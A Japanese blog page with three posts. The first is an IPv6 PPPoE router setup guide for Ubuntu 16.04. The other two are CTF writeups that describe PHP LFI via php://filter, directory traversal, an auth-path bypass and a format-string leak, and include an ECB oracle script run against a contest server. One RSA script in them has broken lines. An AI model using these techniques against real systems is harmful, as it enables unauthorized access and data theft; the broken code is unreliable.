Linux マシンを IPv6 ルータにする(Ubuntu 16.04)

Interlink で IPv6 オプションがリリースされ、「ほぼ固定だけど長期間使用しないと変更される可能性がある」 IPv6 prefix が PPPoE で降ってくるようになりました。(「IPv6接続サービス」提供開始のご案内

ということで、Ubuntu 16.04 の VM 経由で PPPoE に繋いでルーターにしてみました。

Raspberry PiでIPv6 PPPoE対応ルータを作る – ももいろテクノロジーフレッツ光ネクスト用IPv6 PPPoEアダプターを作ってみる — SOUM/misc を参考に実施したので、こちらを参照するとよいと思いますが、自分用のメモを兼ねて残します。

なお、色々試してうまく行ったあと記憶を基に再現しているので、追加の手順が必要だったなどあればコメントでお願いします。

VM 構成

  • ens160: フレッツ網に繋がる NIC (ONU 直結、またはそれと等価な状態)
  • ens192: 今回の設定に関係させてはいけない NIC (実験のため設置)
  • ens224: 部屋のネットワークに繋がる NIC。ここに繋いだ端末を IPv6 インターネットに繋ぐのがこの記事の目標

パケットが適切に届けば VM でも特に変わらない。

(余談ですが ens160 みたいなのは、 eth0 みたいなのと同じく NIC のデバイス名。Predictable Network Interface Device Name を Ubuntu 16.04 などのシステムが導入しているのでこういう名前になっている模様。)

フレッツ網からの RA ブロック

NTT東西のフレッツ網は日本国内で IPv6 イントラネットを構成しており、 PPPoE しようとしてフレッツ網に接続すると IPv6 の RA (イントラネットにも関わらずグローバルアドレス)が降ってきてしまう。

状況次第ではあるが、 ISP から直接フレッツ網に IPoE と呼ばれるものを引き込んでくれる契約をしていなければ、この IPv6 網に繋がってしまう.
もし他のプロバイダが IPoE 設定になっていると今度は複数のインターネットに繋がるプレフィックスに同一マシンがつながってしまうことになる。いずれも(理解してそうなっているのでなければ)よろしくない。(IPv6 – Wikipediaに詳しく書かれている)

今回はプロバイダに対して DHCPv6 接続するので、全ての RA の受信を遮断する設定にした。/etc/sysctl.conf に追記。ens160 が、フレッツ網(PPPoEや、フレッツのイントラネットに接続)に繋がる NIC だとする。

$ cat /etc/sysctl.conf | tail -n 4 | head -n 2
net.ipv6.conf.all.accept_ra = 0
net.ipv6.conf.ens160.accept_ra = 0

$ sudo sysctl -p /etc/sysctl.conf

IPv6 over PPPoE (pppoeconf)

apt で pppoeconf をインストールして pppoeconf コマンドで設定。ダイアログが出てくるのに答えれば PPPoE セッション自体は張ってくれるが、 IPv4 と違って少し追加設定が必要。/etc/ppp/peers/dls-provider を修正。

$ cat /etc/ppp/peers/dsl-provider
# Minimalistic default options file for DSL/PPPoE connections

noipdefault
defaultroute
replacedefaultroute
hide-password
#lcp-echo-interval 30
#lcp-echo-failure 4
noauth
persist
#mtu 1492
#persist
#maxfail 0
#holdoff 20
plugin rp-pppoe.so
nic-ens160
user "***@***"
usepeerdns
+ipv6
ipparam ipv6default

修正したら、

$ sudo poff dsl-provider
$ sudo pon dsl-provider

で再接続して反映。ifconfig ppp0 でリンクローカルアドレスがインターフェイスに付与されていることを確認。

デフォルトルートの設定

PPPoE を起動した際、ルーティングテーブルに追加されるようにする。なお、 /etc/ppp/ipv6-up.d/ 以下のファイルを新規追加する場合は実行権限が必要。

$ cat /etc/ppp/ipv6-up.d/v6route
#!/bin/sh
if [ -z "${CONNECT_TIME}" ]; then
    if [ "${PPP_IPPARAM}" = "ipv6default" ]; then
        ip -6 route add default dev ${PPP_IFACE}
    fi
fi

$ ip -6 route
(snip.)
default dev ppp0  metric 1024  pref medium

DHCPv6 クライアント (wide-dhcpv6)

このままではまだインターリンクとの間に貼られた PPPoE セッションでのみ使えるリンクローカルアドレスしか手に入っていないので、 DHCPv6-PD クライアントを実行し、グローバル IPv6 アドレスの /64 prefix の移譲を受ける。

apt で wide-dhcpv6-client をインストールした。

/etc/wide-dhcpv6/dhcp6c.conf を設定

profile default
{
  information-only;

  request domain-name-servers;
  request domain-name;

  script "/etc/wide-dhcpv6/dhcp6c-script";
};

interface ppp0 {
  send ia-pd 0;
  request domain-name-servers;
  script "/etc/wide-dhcpv6/dhcp6c-script";
};

id-assoc pd 0 {
  prefix-interface ens224 {
    sla-id 1;
    sla-len 8;
  };
};

なお、 ens224 は PPPoE で使っている NIC ですらなく、 LAN 側で使っているインターフェイス。不思議だが、 ppp0 に指定してもうまくいかない上、逆にちゃんと MAC アドレスを持つ NIC なら IPv6 接続に関係のないインターフェイスを指定してもアドレス自体は取得できた。DHCPv6 を含む IPv6 のアドレス取得メカニズム自体にも MACアドレスを利用するものはあるので関係があっても不思議ではないが、検証するのが大変そうなので今のところ深追いはしていない。

ただ、どうもこの後の設定に影響はするらしく、最終的には室内 LAN に繋がる NIC を指定することとなった。

ファイヤーウォール (ip6tables)

RedHat 系だと標準で保存した iptables を起動時に読み込む機能が備わっているが、Debian 系はそういうわけでもない。と思っていたら、 netfilter-persistent なるパッケージがあり、これをインストールすると似たことができる模様。

apt で netfilter-persistent をインストールする。iptables や ip6tables をいじったら、 sudo service netfilter-persistent save などとして保存できる。/etc/iptables/rules.v[46] に保存するようなので、これを直接編集することもできなくはないと思われる。

というわけで、あとは ip6tables を設定する。LAN 内がプライベートアドレスのため変換が必要となり iptables でマスカレードを指示していた IPv4時代と異なり、基本的に全てのマシンがグローバルアドレスを持ち、普通に end to end で通信するのを中継するだけなので、 iptables はなくとも通信は可能ではある(中継設定自体は後述)。が、安全のため、とりあえず従来と同様外から中に通信を開始するのをブロックしてみた。

ip6tables 自体は以下の感じ。ens224 が IPv6 を提供する部屋LAN、 ens192 が今回の設定に関与させない(IPv6 に繋がない)NIC。

# Initialize
ip6tables -X
ip6tables -F

# Default Rule
ip6tables -P OUTPUT ACCEPT
ip6tables -P FORWARD DROP
ip6tables -P INPUT DROP

# Established
ip6tables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT

# LAN
ip6tables -A INPUT -i ens224 -j ACCEPT
ip6tables -A INPUT -i ens192 -j DROP

# loopback
ip6tables -A INPUT -i lo -j ACCEPT
ip6tables -A OUTPUT -o lo -j ACCEPT

# ICMPv6
ip6tables -A INPUT -p icmpv6 --icmpv6-type echo-request -j ACCEPT
ip6tables -A INPUT -p icmpv6 --icmpv6-type echo-reply -j ACCEPT
ip6tables -A INPUT -p icmpv6 --icmpv6-type router-solicitation -j ACCEPT
ip6tables -A INPUT -p icmpv6 --icmpv6-type router-advertisement -j ACCEPT
ip6tables -A INPUT -p icmpv6 --icmpv6-type neighbor-solicitation -j ACCEPT
ip6tables -A INPUT -p icmpv6 --icmpv6-type neighbor-advertisement -j ACCEPT

# FORWARD
ip6tables -A FORWARD -i ens192 -j DROP
ip6tables -A FORWARD -o ens192 -j DROP
ip6tables -A FORWARD -i ens224 -j ACCEPT
ip6tables -A FORWARD -i ppp0 -m state --state RELATED,ESTABLISHED -j ACCEPT

# OUTPUT
ip6tables -A OUTPUT -o ens192 -j DROP

転送設定

ルータなのでここが基幹部分と言える(といっても Linux の機能を呼び出すだけ)。ファイヤーウォールの設定が済んだら設定する。/etc/sysctl.conf に追記。

$ cat /etc/sysctl.conf | tail -n 1
net.ipv6.conf.all.forwarding = 1

$ sudo sysctl -p /etc/sysctl.conf

Router Advertisement (radvd)

RA を用いて接続するマシンの自動設定を行うため radvd を入れた。ただ、現状を踏まえると DHCPv6 を導入した方がいいかもしれない(次のクライアント側の設定の問題)。

cat /etc/radvd.conf

interface ens224 {
  AdvSendAdvert on;
  MinRtrAdvInterval 3;
  MaxRtrAdvInterval 10;
  prefix ::/64 {
    AdvOnLink on;
    AdvAutonomous on;
    AdvRouterAddr on;
  };

  RDNSS 2001:db8::1 2001:db8::2
  {
  };
};

RDNSS の部分の二つの IPv6 アドレスは実際にはプロバイダが公知している DNS キャッシュサーバの IPv6 アドレスを直書きした。書いたら radvd を再起動。

sudo radvdump ens224 などとすると、配布内容を確認できた。

クライアント側

ここでは IPv6 のみに繋がるクライアントを一台構成した。IPv4 を設定する場合は基本的に独立して設定してよいはず。

RFC5006RFC6106などで RDNSS プロトコルが定められており、DHCPv6 を用いなくとも RA で DNS キャッシュサーバのアドレスを通知することができ、radvd も対応している。しかし、少なくとも Ubuntu 16.04 標準の機能でこれを有効にする方法は見つからなかった。そのため、この説明では DNS キャッシュサーバのアドレスをクライアント側で直書きしている。微妙。今後調査したい。

それ以外は自動設定で問題なかった。

/etc/network/interfaces

# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

source /etc/network/interfaces.d/*

# The loopback network interface
auto lo
iface lo inet loopback

# The primary network interface
# This is an autoconfigured IPv6 interface
auto ens160
iface ens160 inet6 auto
    dns-nameservers 2001:db8::1 2001:db8::2

しかし、現状では DHCPv6 のほうがよさそうな気もするので、今後試してみたい。

Tokyo Westerns/MMA CTF 2nd 2016 writeup

Tokyo Westerns/MMA CTF 2nd 2016に yharima チームで参加していたので自分が解いた分の writeup です。510点、105位でした。

Super Express

以下のようなソースコードと、それで暗号化されたデータが渡された。

import sys
key = '****CENSORED***************'
flag = 'TWCTF{*******CENSORED********}'

if len(key) % 2 == 1:
    print("Key Length Error")
    sys.exit(1)

n = len(key) / 2
encrypted = ''
for c in flag:
    c = ord(c)
    for a, b in zip(key[0:n], key[n:2*n]):
        c = (ord(a) * c + ord(b)) % 251
    encrypted += '%02x' % c

print encrypted

鍵が長いが、よく見ると一文字ごとに暗号化している。251は素数なので、結局平文mに対して、色々な a,b (鍵の一文字一文字)で
  c = am + b \mod p
を繰り返していることになる。素数を法とした世界での線形な写像なので、どこかで一定の値で固定されるのでなければ(暗号文を見る限り違う)全体を
  C = Am + B \mod p
の一つの暗号とみなして問題ない(さらに言うとここまでの発想も、一部は実際には全体が一つの写像に落とし込めることに気付いてから、これが解けるのであればこうだろう、と考えた)

先頭が「TWCTF{」であることはわかっているので、わかっている二文字から係数を計算して逆元を計算して、 offset を調整して解くとフラグ。

import sys

intxt = sys.stdin.readline()

# cf: http://arc360.info/algo/privatekey.html
def euclidean(x, y):
	x1 = 1
	y1 = 0
	z1 = x
	x2 = 0
	y2 = 1
	z2 = y

	while z2 != 1:
		q = (z1 - (z1 % z2)) / z2
		x1 = x1 - q * x2
		y1 = y1 - q * y2
		z1 = z1 - q * z2

		x1, y1, z1, x2, y2, z2 = x2, y2, z2, x1, y1, z1

	while x2 < 0:
		x2 += y
	
	return x2

d1 = euclidean(156, 251)
ret=''
for i in range(0,len(intxt) / 2):
	cur=0
	ta = intxt[i*2]

	if ta=="\n":
		break
	if ord(ta)>=ord('a'):
		cur+=ord(ta)-ord('a')+10
	else:
		cur+=ord(ta)-ord('0')
	cur*=16

	ta = intxt[i*2+1]

	if ta=="\n":
		break
	if ord(ta)>=ord('a'):
		cur+=ord(ta)-ord('a')+10
	else:
		cur+=ord(ta)-ord('0')
	ret+= chr((d1 * cur + 67 - 16) %251)
print ret

Twin Primes

RSA 暗号。双子素数二組 (p, p+2), (q, q+2) を元に、 N1 = pq, N2 = (p+2)(q+2) が公開鍵として採用されている(N1, N2, eが公開)。

N2 と N1 がわかっていて、どちらも展開すると pq を含むので、

  N_2 - N_1 \\  = (p+2)(q+2) - pq \\  = 2(p+q)+4

つまり、
  p+q = \cfrac{(N_2-N_1) - 4}{2} \\  pq = N_1

和と積がわかったので、二次方程式で解くことができる。二次方程式の公式を久しぶりに検索して計算。

n1 = 19402643768027967294480695361037227649637514561280461352708420192197328993512710852087871986349184383442031544945263966477446685587168025154775060178782897097993949800845903218890975275725416699258462920097986424936088541112790958875211336188249107280753661467619511079649070248659536282267267928669265252935184448638997877593781930103866416949585686541509642494048554242004100863315220430074997145531929128200885758274037875349539018669336263469803277281048657198114844413236754680549874472753528866434686048799833381542018876362229842605213500869709361657000044182573308825550237999139442040422107931857506897810951
e1 = 65537

n2 = 19402643768027967294480695361037227649637514561280461352708420192197328993512710852087871986349184383442031544945263966477446685587168025154775060178782897097993949800845903218890975275725416699258462920097986424936088541112790958875211336188249107280753661467619511079649070248659536282267267928669265252935757418867172314593546678104100129027339256068940987412816779744339994971665109555680401467324487397541852486805770300895063315083965445098467966738905392320963293379345531703349669197397492241574949069875012089172754014231783160960425531160246267389657034543342990940680603153790486530477470655757947009682859
e2 = 65537

cipher = 7991219189591014572196623817385737879027208108469800802629706564258508626010674513875496029177290575819650366802730803283761137036255380767766538866086463895539973594615882321974738140931689333873106124459849322556754579010062541988138211176574621668101228531769828358289973150393343109948611583609219420213530834364837438730411379305046156670015024547263019932288989808228091601206948741304222197779808592738075111024678982273856922586615415238555211148847427589678238745186253649783665607928382002868111278077054871294837923189536714235044041993541158402943372188779797996711792610439969105993917373651847337638929
# cf: http://arc360.info/algo/privatekey.html
def euclidean(x, y):
	x1 = 1
	y1 = 0
	z1 = x
	x2 = 0
	y2 = 1
	z2 = y

	while z2 != 1:
		q = (z1 - (z1 % z2)) / z2
		x1 = x1 - q * x2
		y1 = y1 - q * y2
		z1 = z1 - q * z2

		x1, y1, z1, x2, y2, z2 = x2, y2, z2, x1, y1, z1

	while x2 < 0:
		x2 += y
	
	return x2

def find_root(x):
	lo = 1
	hi = x

	while lo < hi:
		mi = (lo + hi) / 2

		if mi * mi > x:
			hi = mi - 1
			continue

		if mi * mi < x:
			lo = mi + 1
			continue
		
		if mi * mi == x:
			lo = mi
			hi = mi
	
	if lo * lo == x:
		return lo
	else:
		return -1

def decrypt_rsa(N, e, d, cipher):
	c_powers = [cipher]
	cur_power = 1

	while cur_power <= d:
		tmp = c_powers[len(c_powers) - 1]
		c_powers.append((tmp * tmp) % N)
		cur_power *= 2

	cur_power = 1
	cur_pos = 0
	ans = 1

	while cur_power <= d:
		if d & cur_power > 0:
			ans *= 	c_powers[cur_pos]
			ans %= N
		cur_pos += 1
		cur_power *= 2

	return ans

wa = ((n2-n1)-4)/2

p = (wa + find_root(wa * wa - 4 * n1)) / 2
q = (wa - find_root(wa * wa - 4 * n1)) / 2

d1 = euclidean(e1, (p-1)*(q-1))
d2 = euclidean(e2, (p+1)*(q+1))

ans = decrypt_rsa(n1, e1, d1, decrypt_rsa(n2, e2, d2, cipher))
ans_array = []
while ans:
	ans_array.append(chr(ans % 256))
	ans /= 256

ans_array.reverse()

print ''.join(ans_array)

glance

横幅がとても狭く高速で何かが流れるアニメーション GIF に対し「電車のドアの隙間から見えた」旨。アニメーションを展開して画像を結合。

$ convert +adjoin glance.gif part.gif
$ convert +append `for ((i=0; i<=200; ++i)); do echo part-$i.gif; done` output.png

Global Pages

何かページの記事のようなものが表示されている。

http://globalpage.chal.ctf.westerns.tokyo/?page=tokyo

に接続すると、

Warning: include(tokyo/en-US.php): failed to open stream: No such file or directory in /var/www/globalpage/index.php on line 41

のようなエラーが出ている。tokyoの部分を変えると ja.php に関しても同様のエラーが出るようになる。ただし、 page= の部分に色々流し込んだ時、 %00 を流し込むとそこでファイル名が切れるが、ピリオドとスラッシュだけは入らず消される。

とりあえずこの tokyo/ja.php などは http://globalpage.chal.ctf.westerns.tokyo/tokyo/ に相当するディレクトリにあると思われるのでここに繋ぐと、各言語用の PHP ファイルがおいてある。

ふと Accept-Language を変えるとほかの言語が表示されたりそちらもファイル名に流し込まれたりすることに気付く。ピリオドやスラッシュも流し込めたが僕はここで PHP の include の仕様を調べるも失敗。

ここまでチャットに書くと、 yuta1024 が、CTF for Beginners 2015 のえるざっぷ氏の writeupの Web500 の手法が動くことに気付き、 index.php、次いでそこから include されていた flag.php の中身を BASE64 で吸い出してフラグを見つけていた。

PHP には include で指定した URL からデータを読みだしてそのまま PHP コードとして解釈して実行する豪快な機能があるが、さすがにデフォルトで無効化されている。allow_url_includeを1にすると有効だが今回は無効だった。その場合でも、 「php://filter/convert.base64-encode/resource=index.php」は URL とみなされないらしく、 filter 経由でデータを解釈できるらしい。

Poems

ポエム投稿サイト。ポエムを投稿するとランダムなIDが与えられ、それをファイル名として保存するようになっている。最初のポエムを読みだせという問題。

ソースコードが配布されている。また、 Ubuntu 16.04 + Apache であることが示されている。

ソースコードを見ると、 Slim フレームワークを使っており、 ../poem/list.txt に ID 一覧が保存されていること、 /admin に行けばその一覧の中身を表示してくれることがわかる。ところが、ソースコード側で認証がかかっていないにもかかわらず、 /admin に行くと Basic 認証を求められる。

とりあえずディレクトリトラバーサルで任意のファイルを読み出せるので、 http://poems.chal.ctf.westerns.tokyo/poems?p=../../../../../../../../etc/apache2/sites-enabled/000-default.conf に接続すると、 Apache の設定で

<Location /admin>

で Basic 認証がかかっていることがわかる。パスワードファイルは見ることができたが暗号化されていて、 1000回 md5 した形式らしかったのと数分 John The Ripper を走らせても無理だった、とか言っていたら、パスワードクラックは不要というヒントが出された。

そこでふと、普通の PHP フレームワークなら特に設定しなければ public をそのまま DocumentRoot にしても動作するように /index.php/本来のpath みたいなのを URI に投げ込んでも繋いでくれることを思い出し、 http://poems.chal.ctf.westerns.tokyo/index.php/admin に接続すると認証なく ID 一覧を見ることができた。先頭の ID をポエムの URL に繋ぐとフラグが出てきた。

IceCTF 2016 Writeup

IceCTFに参加していたので、 writeup を書きます。

今回は人数制限の都合上、チームではなく、個人参加していました。なぜかコンテスト終了後は問題文もランキングも自分の順位も見ることができませんが、1396点でした。

問題数が多く、内容としても比較的主な要素を問題を通して学ぶことを教育的な問題が多めだと感じました。Crypt が比較的初心者に優しくてありがたかったです。

以下、提出順に書いていきます。

Hello, World!

サンプル問題。フラグが問題文に書いてあるので提出。

Spotlight

開くと、マウスがある領域の周辺だけ見ることができるウェブ画面が表示された。とりあえず HTML のソースを見るとフラグが埋め込まれていたので提出。Consoleにwriteしていたのでデバッグコンソールを開くなどが想定解法だったのかもしれない。

All your Base are belong to us

二進数みたいな形式で何かが与えられているのでパースするとフラグがでてきた。

#include <iostream>
using namespace std;

int main(){
	char tmp=0;
	int count=0;

	while(!cin.eof()){
		char t;
		cin>>t;

		if (t=='0' || t=='1'){
			count++;
			tmp=(tmp<<1)+(t-'0');

			if(count%8==0){
				cout<<tmp;
				tmp=0;
			}
		}
	}
}

Rotated!

5文字ずらして、そのあと8文字ずらしたみたいなことが書いてあって、要するにROT13なのでウェブでワンライナーを見つけて処理して提出。

Move Along

Web問題なのですが忘れました…… 事後に問題文すら見られないのはつらいです

Substituted

換字暗号っぽいものが渡されて、とりあえず「IceCTF{」の部分が確定できるのであとは元の単語が推測できる部分から確定していった。

Time Traveler

ウェブページにつなぐと、「ここにかつてフラグがあった」みたいなことが書いてあったので、Internet Archiveで当該URLを検索してフラグを発見。

Flag Storage

なんだっけ……?解いた問題一覧を見るとWeb問なので SQLi でログインしたらフラグが見えた問題だった気がする。

Demo

主催者が用意した Linux 機で、フラッグを表示するためには特定の条件を満たさないといけないバイナリがおいてある(実行ファイルの sticky bit とかでフラグファイルそのものへのアクセスを与えず実行だけできるように工夫してある)。この問題ではそのバイナリのソースもおいてある。

この問題では argv[0] が特定の要件をみたさないといけないので、ホームディレクトリに要件を満たすようにシンボリックリンクを張って実行するとフラグが出た。

Complacent

忘れた

Search

ドメインだけ渡されるが、ウェブサーバに繋がらないと書いてある。conTEXT がどうとか書いてあるので、 DNS の TXT レコードを調べるとフラグが書いてあった。

Hidden in Plain Sight

忘れた

Exposed!

忘れた

RSA?

RSA を使ったが、何か間違っている。と書いてあるので見ると、 e=1 となっている。

RSA での暗号化は

  c=m^e \mod n

なので、e=1 では暗号化がされず平文のままになる。なので、暗号文をそのまま8ビットずつ区切って文字として出力すればフラグ。

Thor’s a hacker now

忘れた

Miners!

忘れた

Scavenger Hunt

忘れた

Smashing Profit!

忘れた

Kitty

admin のパスワードのハッシュだけが渡された。

パスワード入力フォームを見るとパスワードの形式がとても厳しく普通に入力すると通らない。アルファベット、数字、記号の順で5文字で、全探索可能だったので全探索した。

Dear diary

nc で接続し、そのサーバで実行されたバイナリが渡される pwn。

「日記を保存する機能」「最後に保存した日記を表示する機能」がついたバイナリが渡される。

見たところ最初に「flag」という関数を読んでおり、ファイルを open して特定のメモリのアドレス(少なくとも objdump で見る限りハードコード)に書き込んでいた。

バッファオーバーフローさせるのかと思いきや入力はすべて fgets だった。また、 strchr を呼び出して ‘n’ が含まれているとなぜか「rude!」と表示されて終了する仕様だった。

出力を見ると printf だったので、日記の内容を %d とかにするとその時のスタックの一部のデータが出力された。n がブロックされているので、%n が使えず、メモリに書き込むことはできない。

gdb で見たところ、しばらく先に日記の内容があったので、日記の先頭部分に flag のアドレスを書き、あとは %d でしばらく埋めつつ flag のアドレスが来る場所に %s を置くとフラグが表示された。

Toke

現代的なマリファナ工場なるサイトが渡され、ログインすると「FBIによって止められた」とだけ書いてある。

Cookie を見てみると jwt という名前がついた Cookie があり、検索すると検証機能付きの URL セーフなエスケープ方式で JWT というのがあった。

ということで見つけたオンラインのデバッガに中身を入れると、フラグが出てきた。

IRC I

IRC サーバ上でフラグを共有している人がいる、と問題文に書かれていた。主催者らしき人のプロファイルを表示すると「flag_share_(ランダムな英数)」という部屋が案内されていたので、その部屋に行くと部屋の説明にフラグがあった。

RSA

RSA に再挑戦したが、まだ何かおかしいようだ、と書いてある。見るとなんだかプロファイルが多い、というか秘密鍵が書いてある。ウェブで RSA の複合化手順を調べて、その通りに普通に秘密鍵を使ってエンコードするとフラグ。

#!/usr/bin/python

N=0x1564aade6f1b9f169dcc94c9787411984cd3878bcd6236c5ce00b4aad6ca7cb0ca8a0334d9fe0726f8b057c4412cfbff75967a91a370a1c1bd185212d46b581676cf750c05bbd349d3586e78b33477a9254f6155576573911d2356931b98fe4fec387da3e9680053e95a4709934289dc0bc5cdc2aa97ce62a6ca6ba25fca6ae38c0b9b55c16be0982b596ef929b7c71da3783c1f20557e4803de7d2a91b5a6e85df64249f48b4cf32aec01c12d3e88e014579982ecd046042af370045f09678c9029f8fc38ebaea564c29115e19c7030f245ebb2130cbf9dc1c340e2cf17a625376ca52ad8163cfb2e33b6ecaf55353bc1ff19f8f4dc7551dc5ba36235af9758b
e=0x10001
phi=0x1564aade6f1b9f169dcc94c9787411984cd3878bcd6236c5ce00b4aad6ca7cb0ca8a0334d9fe0726f8b057c4412cfbff75967a91a370a1c1bd185212d46b581676cf750c05bbd349d3586e78b33477a9254f6155576573911d2356931b98fe4fec387da3e9680053e95a4709934289dc0bc5cdc2aa97ce62a6ca6ba25fca6ae366e86eed95d330ffad22705d24e20f9806ce501dda9768d860c8da465370fc70757227e729b9171b9402ead8275bf55d42000d51e16133fec3ba7393b1ced5024ab3e86b79b95ad061828861ebb71d35309559a179c6be8697f8a4f314c9e94c37cbbb46cef5879131958333897532fea4c4ecd24234d4260f54c4e37cb2db1a0
d=0x12314d6d6327261ee18a7c6ce8562c304c05069bc8c8e0b34e0023a3b48cf5849278d3493aa86004b02fa6336b098a3330180b9b9655cdf927896b22402a18fae186828efac14368e0a5af2c4d992cb956d52e7c9899d9b16a0a07318aa28c8202ebf74c50ccf49a6733327dde111393611f915f1e1b82933a2ba164aff93ef4ab2ab64aacc2b0447d437032858f089bcc0ddeebc45c45f8dc357209a423cd49055752bfae278c93134777d6e181be22d4619ef226abb6bfcc4adec696cac131f5bd10c574fa3f543dd7f78aee1d0665992f28cdbcf55a48b32beb7a1c0fa8a9fc38f0c5c271e21b83031653d96d25348f8237b28642ceb69f0b0374413308481
c=0x126c24e146ae36d203bef21fcd88fdeefff50375434f64052c5473ed2d5d2e7ac376707d76601840c6aa9af27df6845733b9e53982a8f8119c455c9c3d5df1488721194a8392b8a97ce6e783e4ca3b715918041465bb2132a1d22f5ae29dd2526093aa505fcb689d8df5780fa1748ea4d632caed82ca923758eb60c3947d2261c17f3a19d276c2054b6bf87dcd0c46acf79bff2947e1294a6131a7d8c786bed4a1c0b92a4dd457e54df577fb625ee394ea92b992a2c22e3603bf4568b53cceb451e5daca52c4e7bea7f20dd9075ccfd0af97f931c0703ba8d1a7e00bb010437bb4397ae802750875ae19297a7d8e1a0a367a2d6d9dd03a47d404b36d7defe8469

c_powers = 
cur_power = 1

while cur_power <= d:
	tmp = c_powers[len(c_powers) - 1]
	c_powers.append((tmp * tmp) % N)
	cur_power *= 2

cur_power = 1
cur_pos = 0
ans = 1

while cur_power <= d: if d & cur_power > 0:
		ans *= 	c_powers[cur_pos]
		ans %= N
	cur_pos += 1
	cur_power *= 2

# print ans

ans_array = []
while ans:
	ans_array.append(chr(ans % 256))
	ans /= 256

ans_array.reverse()

print ''.join(ans_array)

Alien Message

エイリアンが書いたようだ、という次の画像が渡された。

alien_message_b84f283848b7f34fd4c7529186e66e120b0a374c9d0f2a225b0a7a215716afb5

IceCTF{ で始まる部分を見ると二つの C が同じなので、換字暗号のようだし、問題ジャンルも Cryptography になっていたが、確定できる文字が少なくて手がかりがつかめず、そもそもアルファベットらしきものも数えてみると 27 文字もあった。

そこで、alien alphabet で画像検索するとそれらしき画像があった。Futurama Alien Alphabet というフォントのようなので、見ながら複合化。

l33tcrypt

データを暗号化してくれるサーバが動いており、鍵とフラグは外部から読み込んでいる。サーバの Python コードが公開されている。

コードを見ると、”l33t please” で始まる文字列を渡すと、文字列の末尾にフラグを追加したうえで AES で暗号化して base64 で返してくれる。CBC などは特に使っていないようで、同じ文字列は毎回同じように返ってきた。

AES のブロックサイズは 128 ビットなので、16文字ごとに、望むものと一致すればその部分の暗号は同じになる。

フラグの i 文字目までがわかっているとき、 “l33t please”に続けて、適当な文字を適宜詰め、そのあとフラグの i 文字目までを埋めて最後のブロックが一文字だけ余る状態にし、残りの1文字を一通り試すことができる。
この時、”l33t please”とパディングのみを渡した結果(この場合はパディングの直後に正しいフラグを入れて暗号化してくれる)と比較すれば、正解の時だけ合致するブロックが多くなる。

これを順に試せば、フラグが出てくる。

#!/usr/bin/python

import commands
import sys

def encrypt(s):
	return commands.getoutput('echo -n \'' + s + '\' | (base64 -w 0; echo) | nc l33tcrypt.vuln.icec.tf 6001 | grep OH7').strip()

def sharestr(s, t):
	ret = 0
	for i in range(0, min(len(s), len(t))):
		if s[i] == t[i]:
			ret = i + 1
		else:
			break
	return ret

header = 'l33tserver please'
flag_cand = ''
cand_chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_{}'

cur_cand = ''

while True:
	cur_cand_len = 0
	tmphead = header + '/' * (16 - (len(header) + len(flag_cand) + 1) % 16)
	cur_enc = encrypt(tmphead)

	for i_loop in range(0, len(cand_chars)):
		now_cand = flag_cand + cand_chars[i_loop]
		print 'Trying: ', tmphead + now_cand
		tmp_enc = encrypt(tmphead + now_cand)

		tmp_len = sharestr(cur_enc, tmp_enc)
		print tmp_len

		if tmp_len > cur_cand_len:
			cur_cand_len = tmp_len
			cur_cand = now_cand
	
	if len(cur_cand) == len(flag_cand):
		sys.exit(1)
	flag_cand = cur_cand

Over the hill

謎の行列みたいなのがおいてある。そのままではどうしようもないので、とりあえず matrix encryption とかで検索すると、 Hill Cipher が出てきて問題名とも合致。というわけで Hill Cipher の Wikipedia の記事を見ながら解く。

mod Nでの逆行列の計算に戸惑うが、ウェブ検索した結果見つけた動画(https://www.youtube.com/watch?v=LhBovzm4Ajs)では、普通の逆行列に近い処理をしていた。普通の逆行列は numpy なるツールで計算できそうなので、確認しながら最終的には以下のようなコードに。

#!/usr/bin/python

import numpy

alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789_{}"
N = len(alphabet)

matrix = [[54, 53, 28, 20, 54, 15, 12, 7],
          [32, 14, 24, 5, 63, 12, 50, 52],
          [63, 59, 40, 18, 55, 33, 17, 3],
          [63, 34, 5, 4, 56, 10, 53, 16],
          [35, 43, 45, 53, 12, 42, 35, 37],
          [20, 59, 42, 10, 46, 56, 12, 61],
          [26, 39, 27, 59, 44, 54, 23, 56],
          [32, 31, 56, 47, 31, 2, 29, 41]]

ciphertext = "7Nv7}dI9hD9qGmP}CR_5wJDdkj4CKxd45rko1cj51DpHPnNDb__EXDotSRCP8ZCQ"

# cf: http://arc360.info/algo/privatekey.html
def euclidean(x, y):
	x1 = 1
	y1 = 0
	z1 = x
	x2 = 0
	y2 = 1
	z2 = y

	while z2 != 1:
		q = (z1 - (z1 % z2)) / z2
		x1 = x1 - q * x2
		y1 = y1 - q * y2
		z1 = z1 - q * z2

		x1, y1, z1, x2, y2, z2 = x2, y2, z2, x1, y1, z1

	while x2 < 0:
		x2 += y
	
	return x2

alphabet_to_number = {}

for i in range(0, len(alphabet)):
	alphabet_to_number[alphabet[i]] = i

# https://www.youtube.com/watch?v=LhBovzm4Ajs
det = numpy.around(numpy.linalg.det(matrix)).astype(numpy.int64)
inv = numpy.around(det * numpy.linalg.inv(matrix)).astype(numpy.int64)

mul = euclidean(det, N)
inv = mul * inv

for i in range(0, len(inv)):
	for j in range(0, len(inv[i])):
		inv[i][j] = inv[i][j] % N

ans = ''

for j in range(0, 8):
	cipherarray = []
	for i in range(0, len(inv)):
		cipherarray.append(alphabet_to_number[ciphertext[j * len(inv) + i]])
	plain = numpy.dot(inv, cipherarray)

	for i in range(0, len(plain)):
		ans += alphabet[ plain[i] % N]

print ans

Flagstaff

鍵とフラグを隠したサーバが動いていて、 Python のコードがおかれている。

このサーバは、

  • decrypt に続けて暗号化データを渡すと、渡されたデータを復号化して返す
  • secret に続けて文字列を渡すと、その文字列を復号化して、それをコマンドとみなして次のことを実行する(なので暗号化して渡さないといけない)
    • コマンドに “encrypt” が含まれていれば、そのあと渡された平文の文字列を暗号化して渡す
    • コマンドに “flag” が含まれていれば、フラグを暗号化して渡す

また、暗号化方式は AES256-CBC で、サーバとの受け渡しの時はどのデータも base64 でやりとりする。

なお、暗号化の際は初期ベクタを毎回ランダムに生成している。

暗号化データの解除はしてもらえるので、「”flag”を暗号化したもの」が手に入ればよいことになる。ただ、暗号化機能を呼び出すにも「”encrypt”を暗号化したもの」が必要。

CBC なので、あるデータを暗号化した結果が分かった時、それを見て初期ベクタをいじることで、先頭のブロックの結果を好きなようにいじることができる。

